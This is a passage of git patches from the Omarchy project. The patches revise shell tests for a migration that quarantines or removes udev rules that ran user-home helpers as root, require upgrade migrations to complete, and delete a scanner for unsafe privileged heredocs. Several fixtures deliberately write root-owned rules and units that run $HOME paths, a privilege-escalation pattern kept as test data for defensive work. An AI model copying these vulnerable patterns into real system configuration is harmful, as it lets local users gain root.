--unit=omarchy-wifi-powersave-on /home/someuser/.local/share/omarchy/bin/omarchy-wifi-powersave on" +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="1", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-wifi-powersave-off /home/someuser/.local/share/omarchy/bin/omarchy-wifi-powersave off" +RULE +} + reset_machine write_vulnerable_power_rule run_migration @@ -96,10 +224,35 @@ run_migration fail "migration removes a power profile rule that runs out of a user home" "$(cat "$power_rule")" pass "migration removes a power profile rule that runs out of a user home" -grep -q '^sudo rm -f .*99-power-profile\.rules$' "$CALLS" || +grep -q '^sudo /usr/bin/rm -f .*99-power-profile\.rules$' "$CALLS" || fail "migration removes the rule with elevated privileges" "$(cat "$CALLS")" pass "migration removes the rule with elevated privileges" +grep -q '^sudo /usr/bin/install -Dm644 /dev/null ' "$CALLS" && + grep -q '^sudo /usr/bin/udevadm control --reload$' "$CALLS" || + fail "migration pins privileged helpers to root-owned paths" "$(cat "$CALLS")" +pass "migration pins install, rm, and udevadm to root-owned paths" + +reset_machine +write_initial_vulnerable_power_rule +run_migration + +[[ ! -e $power_rule ]] || + fail "migration removes the initial AC/battery power rule" "$(cat "$power_rule")" +(( $(reload_count) == 1 )) || + fail "migration reloads udev after removing the initial power rule" "$(cat "$CALLS")" +pass "migration removes the initial AC/battery power rule body" + +reset_machine +write_final_vulnerable_power_rule +run_migration + +[[ ! -e $power_rule ]] || + fail "migration removes the final Omarchy 3 power rule" "$(cat "$power_rule")" +(( $(reload_count) == 1 )) || + fail "migration reloads udev after removing the final power rule" "$(cat "$CALLS")" +pass "migration removes the final Omarchy 3 power rule body" + reset_machine write_vulnerable_wifi_rule run_migration @@ -108,6 +261,16 @@ run_migration fail "migration removes a Wi-Fi power save rule that runs out of a user home" "$(cat "$wifi_rule")" pass "migration removes a Wi-Fi power save rule that runs out of a user home" +reset_machine +write_systemd_vulnerable_wifi_rule +run_migration + +[[ ! -e $wifi_rule ]] || + fail "migration removes the systemd-run Wi-Fi rule" "$(cat "$wifi_rule")" +(( $(reload_count) == 1 )) || + fail "migration reloads udev after removing the systemd-run Wi-Fi rule" "$(cat "$CALLS")" +pass "migration removes the systemd-run Wi-Fi rule body" + # udevd keeps running the rule it already parsed, so the file being gone from # disk is only half the fix until it reloads. (( $(reload_count) == 1 )) || @@ -141,17 +304,56 @@ reload_status=$? set -e (( reload_status != 0 )) || fail "migration fails when a running udevd cannot reload" -[[ ! -e $wifi_rule && -e $reload_needed_marker ]] || +[[ ! -e $wifi_rule && -e $wifi_reload_marker ]] || fail "migration records a deleted rule whose daemon reload is still pending" pass "migration keeps a failed udev reload pending" run_migration -[[ ! -e $reload_needed_marker ]] || fail "migration clears the reload marker after a successful retry" +[[ ! -e $wifi_reload_marker ]] || fail "migration clears the reload marker after a successful retry" (( $(reload_count) == 1 )) || fail "migration retries the pending udev reload" "$(cat "$CALLS")" pass "migration retries and completes a previously failed udev reload" +# A marker is created before removal. A concurrent user who sees that phase +# must not consume it and reload while the vulnerable file is still active. +reset_machine +write_vulnerable_power_rule +touch "$power_reload_marker" +run_migration + +remove_line=$(grep -n '^sudo /usr/bin/rm -f .*99-power-profile\.rules$' "$CALLS" | head -n1 | cut -d: -f1) +reload_line=$(grep -n '^sudo /usr/bin/udevadm control --reload$' "$CALLS" | head -n1 | cut -d: -f1) +[[ -n $remove_line && -n $reload_line ]] || fail "concurrent repair records removal and reload" "$(cat "$CALLS")" +(( remove_line < reload_line )) || fail "a concurrent repair reloads before removing the active rule" "$(cat "$CALLS")" +[[ ! -e $power_reload_marker ]] || fail "concurrent repair leaves a completed power reload pending" +pass "a concurrent run cannot consume a marker before rule removal" + +# Each rule owns its reload state. Concurrent repairs of different files cannot +# clear one another's evidence that udev still needs to reload. +reset_machine +touch "$power_reload_marker" "$wifi_reload_marker" +run_migration + +(( $(reload_count) == 2 )) || fail "migration finishes both independent pending reloads" "$(cat "$CALLS")" +[[ ! -e $power_reload_marker && ! -e $wifi_reload_marker ]] || + fail "migration leaves an independent reload marker behind" +pass "power and Wi-Fi removals keep independent durable reload state" + +# A safe replacement installed after an interrupted removal still needs one +# reload to displace the vulnerable ruleset already held by udevd. +reset_machine +cat >"$power_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/local/bin/admin-power-hook" +RULE +touch "$power_reload_marker" +run_migration + +[[ -e $power_rule ]] || fail "migration removes a safe replacement rule" +(( $(reload_count) == 1 )) || fail "migration does not reload a safe replacement after interruption" "$(cat "$CALLS")" +[[ ! -e $power_reload_marker ]] || fail "migration leaves the replacement reload pending" +pass "migration reloads a safe replacement after an interrupted removal" + # A chroot or stopped daemon has no in-memory ruleset to update. An absent udev # control socket is therefore a completed removal, not a permanent migration # failure waiting for a daemon that is not running. @@ -160,7 +362,7 @@ rm -f "$udev_control" write_vulnerable_wifi_rule run_migration -[[ ! -e $wifi_rule && ! -e $reload_needed_marker ]] || +[[ ! -e $wifi_rule && ! -e $wifi_reload_marker ]] || fail "migration completes the disk-only repair when udevd is not running" (( $(reload_count) == 0 )) || fail "migration does not contact an absent udevd" "$(cat "$CALLS")" @@ -183,6 +385,41 @@ run_migration fail "migration touches nothing when the legacy rules are absent" "$(cat "$CALLS")" pass "migration leaves a machine without the legacy rules alone" +# An unreadable same-named file cannot safely be classified as generated or +# custom. Require an administrator rather than silently disabling their rule. +reset_machine +write_vulnerable_power_rule +chmod 000 "$power_rule" + +set +e +run_migration 2>"$test_dir/unreadable-rule.out" +unreadable_status=$? +set -e + +(( unreadable_status != 0 )) || fail "migration accepts a rule it could not inspect" +[[ -e $power_rule ]] || fail "migration disables a rule it could not inspect" +grep -q 'Ask an administrator to run omarchy-migrate' "$test_dir/unreadable-rule.out" || + fail "migration gives no administrator guidance for an unreadable rule" "$(cat "$test_dir/unreadable-rule.out")" +[[ ! -s $CALLS ]] || fail "migration escalates before classifying an unreadable rule" "$(cat "$CALLS")" +chmod 644 "$power_rule" +pass "migration fails without changing an unreadable administrator rule" + +reset_machine +write_vulnerable_power_rule +chmod 600 "$rules_dir" + +set +e +run_migration 2>"$test_dir/unsearchable-rules-dir.out" +unsearchable_status=$? +set -e + +(( unsearchable_status != 0 )) || fail "migration accepts a rules directory it could not inspect" +grep -q 'Ask an administrator to run omarchy-migrate' "$test_dir/unsearchable-rules-dir.out" || + fail "migration gives no administrator guidance for an unsearchable rules directory" "$(cat "$test_dir/unsearchable-rules-dir.out")" +[[ ! -s $CALLS ]] || fail "migration escalates before inspecting the rules directory" "$(cat "$CALLS")" +chmod 755 "$rules_dir" +pass "migration fails closed when it cannot search the rules directory" + # A user who wrote their own rule under one of these names keeps it, even when # the file talks about the legacy checkout. udev never runs a comment. reset_machine @@ -207,20 +444,108 @@ run_migration fail "migration escalates nothing when it removes nothing" "$(cat "$CALLS")" pass "migration keeps same-named rules that only mention the legacy path" -# udev discards a '#' line before it ever looks for a trailing backslash, so the -# rule below the comment is live and root still runs it. `udevadm verify` on this -# exact shape, with a bogus key on the second line, reports the error on line 2. -# The file has to go. +# A vulnerable rule that an administrator extended is no longer the exact file +# Omarchy generated. Preserve the whole file under a suffix udev ignores rather +# than deleting their addition or leaving the vulnerable command active. reset_machine -cat >"$power_rule" <<'RULE' -# Disabled while I test the packaged rule: \ -SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" +write_vulnerable_power_rule +cat >>"$power_rule" <<'RULE' +ACTION=="add", SUBSYSTEM=="usb", RUN+="/usr/local/sbin/admin-power-hook" RULE -run_migration +write_vulnerable_wifi_rule +cp "$power_rule" "$test_dir/mixed-power-rule.before" -[[ ! -e $power_rule ]] || - fail "migration removes a rule left live under a commented continuation" "$(cat "$power_rule")" -pass "migration removes a rule left live under a commented continuation" +set +e +run_migration 2>"$test_dir/mixed-power-rule.out" +mixed_status=$? +set -e + +(( mixed_status == 0 )) || fail "migration fails after safely quarantining a modified vulnerable rule" "$(cat "$test_dir/mixed-power-rule.out")" +[[ ! -e $power_rule && -e $power_rule.omarchy-disabled && ! -e $wifi_rule ]] || + fail "migration leaves a modified vulnerable rule active" +cmp -s "$test_dir/mixed-power-rule.before" "$power_rule.omarchy-disabled" || + fail "migration changes a mixed rule while quarantining it" "$(cat "$power_rule.omarchy-disabled")" +(( $(reload_count) == 2 )) || fail "migration does not continue through every vulnerable rule after quarantine" "$(cat "$CALLS")" +grep -q 'Quarantined.*\.omarchy-disabled' "$test_dir/mixed-power-rule.out" || + fail "migration does not explain where it preserved a mixed rule" "$(cat "$test_dir/mixed-power-rule.out")" +[[ ! -e $power_reload_marker ]] || fail "migration leaves a completed quarantine reload pending" +grep -q '^sudo /usr/bin/mv --no-clobber -- .*99-power-profile\.rules .*99-power-profile\.rules\.omarchy-disabled$' "$CALLS" || + fail "migration does not pin quarantine moves to root-owned mv" "$(cat "$CALLS")" +pass "migration quarantines a mixed rule and continues repairing the machine" + +run_migration +[[ ! -e $power_rule && -e $power_rule.omarchy-disabled ]] || + fail "a quarantine retry does not preserve the disabled rule" +[[ ! -s $CALLS ]] || fail "a quarantine retry changes machine state" "$(cat "$CALLS")" +pass "migration is a no-op after completing a quarantine" + +# Reformatting RUN does not make the user-controlled command safe, but it does +# make the file something Omarchy cannot delete wholesale without guessing. +reset_machine +cat >"$wifi_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="0", RUN += "/home/someuser/.local/share/omarchy/bin/omarchy-wifi-powersave on" +RULE +cp "$wifi_rule" "$test_dir/reformatted-wifi-rule.before" + +set +e +run_migration 2>"$test_dir/reformatted-wifi-rule.out" +reformatted_status=$? +set -e + +(( reformatted_status == 0 )) || fail "migration fails after quarantining a reformatted vulnerable rule" "$(cat "$test_dir/reformatted-wifi-rule.out")" +[[ ! -e $wifi_rule && -e $wifi_rule.omarchy-disabled ]] || + fail "migration leaves a reformatted vulnerable rule active" +cmp -s "$test_dir/reformatted-wifi-rule.before" "$wifi_rule.omarchy-disabled" || + fail "migration changes a reformatted rule while quarantining it" "$(cat "$wifi_rule.omarchy-disabled")" +(( $(reload_count) == 1 )) || fail "migration does not reload udev after quarantining a reformatted rule" "$(cat "$CALLS")" +pass "migration quarantines reformatted vulnerable rules" + +# All assignment forms udev accepts for RUN can execute the same user-home +# helper. None may evade the conservative quarantine detector. +variant_number=0 +for run_assignment in 'RUN{program}+=' 'RUN=' 'RUN:=' 'RUN+=e'; do + ((++variant_number)) + reset_machine + printf 'SUBSYSTEM=="power_supply", ATTR{type}=="Mains", %s"/home/someuser/.local/share/omarchy/bin/omarchy-wifi-powersave on"\n' "$run_assignment" >"$wifi_rule" + cp "$wifi_rule" "$test_dir/run-variant-$variant_number.before" + + set +e + run_migration 2>"$test_dir/run-variant-$variant_number.out" + variant_status=$? + set -e + + (( variant_status == 0 )) || fail "migration fails after quarantining udev assignment $run_assignment" "$(cat "$test_dir/run-variant-$variant_number.out")" + [[ ! -e $wifi_rule && -e $wifi_rule.omarchy-disabled ]] || + fail "migration leaves udev assignment $run_assignment active" + cmp -s "$test_dir/run-variant-$variant_number.before" "$wifi_rule.omarchy-disabled" || + fail "migration changes udev assignment $run_assignment while quarantining it" + (( $(reload_count) == 1 )) || fail "migration does not reload after quarantining $run_assignment" "$(cat "$CALLS")" +done +pass "migration quarantines every valid RUN assignment form" + +# Never overwrite an earlier preserved file. Choose another inactive suffix so +# the active vulnerability is still neutralized without losing either copy. +reset_machine +cat >"$wifi_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN="/home/someuser/.local/share/omarchy/bin/omarchy-wifi-powersave on" +RULE +cp "$wifi_rule" "$test_dir/collision-active.before" +printf '%s\n' 'older preserved rule' >"$wifi_rule.omarchy-disabled" +cp "$wifi_rule.omarchy-disabled" "$test_dir/collision-backup.before" + +set +e +run_migration 2>"$test_dir/quarantine-collision.out" +collision_status=$? +set -e + +(( collision_status == 0 )) || fail "migration fails to resolve an existing quarantine" "$(cat "$test_dir/quarantine-collision.out")" +[[ ! -e $wifi_rule && -e $wifi_rule.omarchy-disabled.1 ]] || fail "migration leaves the colliding vulnerable rule active" +cmp -s "$test_dir/collision-backup.before" "$wifi_rule.omarchy-disabled" || fail "migration overwrites the existing quarantine" +cmp -s "$test_dir/collision-active.before" "$wifi_rule.omarchy-disabled.1" || fail "migration changes the new quarantine" +grep -q 'Quarantined.*\.omarchy-disabled\.1' "$test_dir/quarantine-collision.out" || + fail "migration does not report the unique quarantine path" "$(cat "$test_dir/quarantine-collision.out")" +(( $(reload_count) == 1 )) || fail "migration does not reload after resolving a quarantine collision" "$(cat "$CALLS")" +pass "migration preserves both files on a quarantine collision" # A comment that does not continue still hides nothing behind it: the file holds # no active RUN+= at all and stays. @@ -252,6 +577,7 @@ pass "migration keeps a legacy filename already repointed at /usr/bin" reset_machine cat >"$wifi_rule" <"$test_dir/elevation-failure.out" 2>&1 failure_status=$? @@ -289,9 +612,13 @@ cat >"$test_dir/failing-bin/sudo" <<'STUB' #!/bin/bash printf 'sudo %s\n' "$*" >>"$CALLS" -if [[ $* == *99-wifi-powersave.rules ]]; then +if [[ ${1:-} == "/usr/bin/rm" && ${*: -1} == */rules.d/99-wifi-powersave.rules ]]; then exit 1 fi +if [[ ${1:-} == "/usr/bin/udevadm" ]]; then + shift + exec "$UDEVADM_STUB" "$@" +fi exec "$@" STUB chmod +x "$test_dir/failing-bin/sudo" @@ -299,9 +626,6 @@ chmod +x "$test_dir/failing-bin/sudo" set +e HOME="$home_dir" \ - OMARCHY_UDEV_RULES_DIR="$rules_dir" \ - OMARCHY_UDEV_RELOAD_NEEDED_MARKER="$reload_needed_marker" \ - OMARCHY_UDEV_CONTROL="$udev_control" \ PATH="$test_dir/failing-bin:$test_dir/bin:$PATH" \ bash -euo pipefail "$migration" >"$test_dir/partial-failure.out" 2>&1 partial_status=$? @@ -309,7 +633,7 @@ set -e (( partial_status != 0 )) || fail "migration fails when the second rule cannot be removed" [[ ! -e $power_rule && -e $wifi_rule ]] || fail "migration preserves the expected partial-removal state" -[[ -e $reload_needed_marker ]] || fail "migration records the second rule removal as still pending" +[[ -e $wifi_reload_marker ]] || fail "migration records the second rule removal as still pending" (( $(reload_count) == 1 )) || fail "migration reloads udev before a later removal failure" "$(cat "$CALLS")" pass "a later removal failure cannot leave an already-deleted rule loaded" @@ -325,20 +649,3 @@ run_migration [[ -e $power_rule ]] || fail "migration matches the binary the filename promises, not any home path" pass "migration matches the binary the filename promises, not any home path" - -# udev resumes a continuation across a comment: `udevadm verify` reports its -# complaint on line 1 for a rule split this way, so the three lines are one live -# rule. The split falls inside the RUN+= value on purpose -- with the whole -# RUN+= below the comment the assertion passes even against an implementation -# that throws the pending half away, which is the shape this guards against. -reset_machine -cat >"$power_rule" <<'RULE' -SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/bin/systemd-run --no-block --unit=omarchy-power-profile \ -# split for readability -/home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" -RULE -run_migration - -[[ ! -e $power_rule ]] || - fail "migration removes a rule that continues across a comment" "$(cat "$power_rule")" -pass "migration removes a rule that continues across a comment" From 40d0c9bbdffde4754c8206109eadc0d095422060 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 11:22:45 -0400 Subject: [PATCH 160/336] Require Quattro migrations to complete --- bin/omarchy-upgrade-to-quattro | 18 ++++++-- test/shell.d/upgrade-to-quattro-test.sh | 56 +++++++++++++++++++++++++ 2 files changed, 71 insertions(+), 3 deletions(-) diff --git a/bin/omarchy-upgrade-to-quattro b/bin/omarchy-upgrade-to-quattro index bef70f01..b15af312 100755 --- a/bin/omarchy-upgrade-to-quattro +++ b/bin/omarchy-upgrade-to-quattro @@ -1190,11 +1190,23 @@ ensure_sleep_lock_service() { } run_post_upgrade_migrations() { - PATH="$package_path" command -v omarchy-migrate >/dev/null 2>&1 || return 0 + local pending_status + + if ! PATH="$package_path" command -v omarchy-migrate >/dev/null 2>&1; then + fail "omarchy-migrate is unavailable after installing the Omarchy quattro packages." + fi log "Running Omarchy migrations" if ! run_as_user_omarchy OMARCHY_UPGRADE_TO_QUATTRO_LIVE=1 omarchy-migrate; then - warn "Could not run Omarchy migrations; the user may be prompted to run them after login." + fail "Omarchy migrations did not complete. Fix the error above and rerun the upgrade before rebooting." + fi + if run_as_user_omarchy omarchy-migrate --pending >/dev/null; then + fail "Omarchy migrations are still pending. Rerun the upgrade before rebooting." + else + pending_status=$? + if (( pending_status != 1 )); then + fail "Could not verify that Omarchy migrations completed. Rerun the upgrade before rebooting." + fi fi } @@ -2366,8 +2378,8 @@ run_as_user_omarchy omarchy-bar defaults || cleanup_retired_services ensure_sleep_lock_service remove_retired_default_packages -run_post_upgrade_migrations run_final_system_package_upgrade +run_post_upgrade_migrations run_post_upgrade_update_steps refresh_current_theme_after_upgrade # Do not force-reload Hyprland in the live upgraded session. The legacy diff --git a/test/shell.d/upgrade-to-quattro-test.sh b/test/shell.d/upgrade-to-quattro-test.sh index 60e8abff..b53eba04 100644 --- a/test/shell.d/upgrade-to-quattro-test.sh +++ b/test/shell.d/upgrade-to-quattro-test.sh @@ -32,6 +32,12 @@ grep -F 'run_post_upgrade_migrations' "$upgrade_to_quattro" >/dev/null grep -F 'omarchy-migrate' "$upgrade_to_quattro" >/dev/null grep -F 'dust' "$upgrade_to_quattro" >/dev/null grep -F 'satty' "$upgrade_to_quattro" >/dev/null +final_upgrade_line=$(grep -n '^run_final_system_package_upgrade$' "$upgrade_to_quattro" | cut -d: -f1) +migrations_line=$(grep -n '^run_post_upgrade_migrations$' "$upgrade_to_quattro" | cut -d: -f1) +[[ -n $final_upgrade_line && -n $migrations_line ]] || + fail "final package upgrade and migration calls exist" +(( final_upgrade_line < migrations_line )) || + fail "Omarchy migrations run after the final package upgrade" pass "Omarchy 4 upgrade applies packaged migrations" if grep -F 'skip-first-run-update-notification' "$upgrade_to_quattro" >/dev/null; then @@ -98,6 +104,56 @@ function_body() { awk -v name="$1" '$0 == name "() {" { inside = 1; next } inside && $0 == "}" { exit } inside' "$upgrade_to_quattro" } +migrations_body=$(function_body run_post_upgrade_migrations) +grep -F 'fail "omarchy-migrate is unavailable after installing the Omarchy quattro packages."' <<<"$migrations_body" >/dev/null || + fail "Omarchy 4 upgrade fails when its migration command is unavailable" +grep -F 'fail "Omarchy migrations did not complete.' <<<"$migrations_body" >/dev/null || + fail "Omarchy 4 upgrade fails when a migration cannot complete" +grep -F 'omarchy-migrate --pending' <<<"$migrations_body" >/dev/null || + fail "Omarchy 4 upgrade verifies that migrations actually completed" +grep -F 'fail "Omarchy migrations are still pending.' <<<"$migrations_body" >/dev/null || + fail "Omarchy 4 upgrade fails when a successful migration command leaves pending work" +grep -F 'pending_status != 1' <<<"$migrations_body" >/dev/null || + fail "Omarchy 4 upgrade distinguishes no pending work from a failed verification" +grep -F 'fail "Could not verify that Omarchy migrations completed.' <<<"$migrations_body" >/dev/null || + fail "Omarchy 4 upgrade fails when it cannot verify migration state" +if grep -F 'return 0' <<<"$migrations_body" >/dev/null || grep -F 'warn ' <<<"$migrations_body" >/dev/null; then + fail "Omarchy 4 upgrade does not continue past missing or failed migrations" +fi + +exercise_post_upgrade_migrations() { + local stub_migration_status="$1" stub_pending_status="$2" + + ( + export package_path="$ROOT/bin:/usr/bin" + log() { :; } + fail() { exit 1; } + run_as_user_omarchy() { + if [[ " $* " == *" --pending "* ]]; then + return "$stub_pending_status" + else + return "$stub_migration_status" + fi + } + eval "run_post_upgrade_migrations() { $migrations_body +}" + run_post_upgrade_migrations + ) +} + +exercise_post_upgrade_migrations 0 1 >/dev/null 2>&1 || + fail "Omarchy 4 upgrade accepts a completed migration queue" +if exercise_post_upgrade_migrations 1 1 >/dev/null 2>&1; then + fail "Omarchy 4 upgrade accepts a failed migration" +fi +if exercise_post_upgrade_migrations 0 0 >/dev/null 2>&1; then + fail "Omarchy 4 upgrade accepts pending migrations" +fi +if exercise_post_upgrade_migrations 0 2 >/dev/null 2>&1; then + fail "Omarchy 4 upgrade accepts a failed pending-state check" +fi +pass "Omarchy 4 upgrade cannot finish with pending migrations" + if function_body cleanup_retired_services | grep -F 'systemctl disable iwd' >/dev/null; then fail "Omarchy 4 upgrade does not retire iwd in a step separate from the NetworkManager enable" fi From 4c23077f807dc67270683b750955fc47b1e34c29 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 11:49:50 -0400 Subject: [PATCH 161/336] Drop unrelated privileged heredoc scanner --- bin/omarchy-dns | 6 - bin/omarchy-provision-owner | 4 +- bin/omarchy-setup-security-fingerprint | 3 - bin/omarchy-upgrade-to-quattro | 8 - bin/omarchy-windows-vm | 4 - .../annotated-paths-none-still-fails.sh | 12 - ...annotated-special-parameter-before-home.sh | 5 - .../arithmetic-left-shift-before-heredoc.sh | 5 - .../privileged-heredoc/hop-twice-home-path.sh | 11 - .../hop-variable-home-path.sh | 13 - .../nested-parameter-default.sh | 6 - ...plain-heredoc-indented-pseudo-delimiter.sh | 5 - .../route-append-redirect.sh | 3 - .../route-continued-pipeline.sh | 4 - .../route-dash-delimiter.sh | 5 - .../route-install-hop-alias.sh | 6 - .../route-install-hop-braced.sh | 5 - .../route-install-hop-literal.sh | 7 - .../privileged-heredoc/route-install-hop.sh | 8 - .../route-noclobber-redirect.sh | 4 - .../route-prebody-escaped-pipeline.sh | 6 - .../privileged-heredoc/route-redirect.sh | 4 - .../privileged-heredoc/route-sudo-dd.sh | 3 - .../privileged-heredoc/route-variable-path.sh | 6 - .../safe-annotated-reordered-paths.sh | 8 - .../privileged-heredoc/safe-annotated.sh | 11 - .../privileged-heredoc/safe-herestring.sh | 7 - .../privileged-heredoc/safe-no-expansion.sh | 3 - .../safe-quoted-delimiter.sh | 7 - .../privileged-heredoc/safe-root-anchored.sh | 11 - .../safe-runtime-expansion.sh | 6 - .../safe-user-destination.sh | 9 - .../shadowed-assignment-home-path.sh | 13 - .../shutdown-unit-home-execstop.sh | 84 -- .../privileged-heredoc/udev-rule-home-path.sh | 11 - .../privileged-heredoc/wifi-rule-home-path.sh | 9 - test/shell.d/privileged-heredoc-test.sh | 960 ------------------ 37 files changed, 2 insertions(+), 1280 deletions(-) delete mode 100644 test/shell.d/fixtures/privileged-heredoc/annotated-paths-none-still-fails.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/arithmetic-left-shift-before-heredoc.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/hop-twice-home-path.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/plain-heredoc-indented-pseudo-delimiter.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-append-redirect.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-continued-pipeline.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-dash-delimiter.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop-alias.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop-braced.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop-literal.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-noclobber-redirect.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-prebody-escaped-pipeline.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-redirect.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-sudo-dd.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/route-variable-path.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-annotated-reordered-paths.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-annotated.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-runtime-expansion.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/shadowed-assignment-home-path.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/udev-rule-home-path.sh delete mode 100644 test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh delete mode 100755 test/shell.d/privileged-heredoc-test.sh diff --git a/bin/omarchy-dns b/bin/omarchy-dns index 19c6549e..60f60e74 100755 --- a/bin/omarchy-dns +++ b/bin/omarchy-dns @@ -149,9 +149,6 @@ write_networkmanager_dns() { local servers="$1" install -d -m 0755 "$(dirname "$NM_DNS_CONF")" - # omarchy:heredoc-expands paths=none -- $servers is a normalized, single-line - # DNS server list written as data, not a path or command; nothing user-writable - # is resolved or executed from the root-owned drop-in. cat >"$NM_DNS_CONF" </dev/null <"/etc/systemd/system/$unit" <<'UNIT' + cat >"/etc/systemd/system/$unit" </dev/null </dev/null </dev/null || true) fi [[ -n ${autologin_user:-} ]] || autologin_user="$target_user" - # omarchy:heredoc-expands paths=none -- $autologin_user is a username, read - # back from the root-owned drop-in or falling back to $target_user. Same - # mechanism as the old getty override: a name expands, no path does. cat </dev/null [Autologin] User=$autologin_user @@ -1423,8 +1417,6 @@ EOF fi as_root install -d -m 0755 -o sddm -g sddm /var/lib/sddm 2>/dev/null || as_root install -d -m 0755 /var/lib/sddm - # omarchy:heredoc-expands paths=none -- $target_user is a username, not a - # path; SDDM's state file records who logged in last. cat </dev/null [Last] Session=omarchy.desktop diff --git a/bin/omarchy-windows-vm b/bin/omarchy-windows-vm index f672ed7e..f1582e2d 100755 --- a/bin/omarchy-windows-vm +++ b/bin/omarchy-windows-vm @@ -691,10 +691,6 @@ write_compose_atomically() ( esc_password=${esc_password//\$/\$\$} tmp=$(mktemp "$RUNTIME_DIR/.compose.XXXXXX") || exit 1 - # omarchy:heredoc-expands paths=EXPECTED_STORAGE,EXPECTED_SHARED -- both are - # root-protected anchors derived from the authenticated caller uid and bound - # to source inodes that were opened and validated before this compose is - # written. The remaining expansions are revalidated scalar settings. cat >"$tmp" </dev/null - sudo udevadm trigger --subsystem-match=power_supply 2>/dev/null -fi diff --git a/test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh b/test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh deleted file mode 100644 index 5f4d50a2..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh +++ /dev/null @@ -1,5 +0,0 @@ -# omarchy:heredoc-expands paths=none -- the positional argument is a scalar -sudo tee /etc/omarchy/example.conf </etc/omarchy/agent.conf </dev/null -SUBSYSTEM=="power_supply", RUN+="$helper" -EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh b/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh deleted file mode 100644 index 916887c8..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh +++ /dev/null @@ -1,13 +0,0 @@ -#!/bin/bash - -# One hop between the expansion and the home path it carries. The token in the -# heredoc has no slash and the value never resolves to a literal path, so a scan -# that rescues unresolved values would exempt a unit baking the user's home into -# /etc/systemd/system. -helper="$HOME/.local/share/omarchy/bin/omarchy-agent" - -# omarchy:heredoc-expands paths=none -- helper is just the agent command name -cat </dev/null -[Service] -ExecStart=$helper -EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh b/test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh deleted file mode 100644 index 7cb74bc0..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/bash - -# omarchy:heredoc-expands paths=none -- review regression fixture -sudo tee /etc/omarchy/review.conf >/dev/null </etc/omarchy/agent.conf <>/etc/omarchy/agent.conf </dev/null - helper=$HOME/.local/share/omarchy/bin/omarchy-agent - EOF -fi diff --git a/test/shell.d/fixtures/privileged-heredoc/route-install-hop-alias.sh b/test/shell.d/fixtures/privileged-heredoc/route-install-hop-alias.sh deleted file mode 100644 index fbaab243..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/route-install-hop-alias.sh +++ /dev/null @@ -1,6 +0,0 @@ -tmp=/tmp/omarchy-generated -copy=$tmp -cat >"$tmp" <"$tmp" </tmp/omarchy-review-unit -[Service] -ExecStart=$HOME/.local/bin/payload -EOF -sudo install -m 644 /tmp/omarchy-review-unit /etc/systemd/system/review.service diff --git a/test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh b/test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh deleted file mode 100644 index f3894ff4..00000000 --- a/test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh +++ /dev/null @@ -1,8 +0,0 @@ -tmp=$(mktemp) - -cat >"$tmp" <|` is a plain redirect with noclobber overridden, not a redirect into a pipe. -cat >|/etc/omarchy/agent.conf </etc/omarchy/agent.conf </dev/null -[Service] -ExecStart=$OMARCHY_PATH/bin/omarchy-agent -EOF diff --git 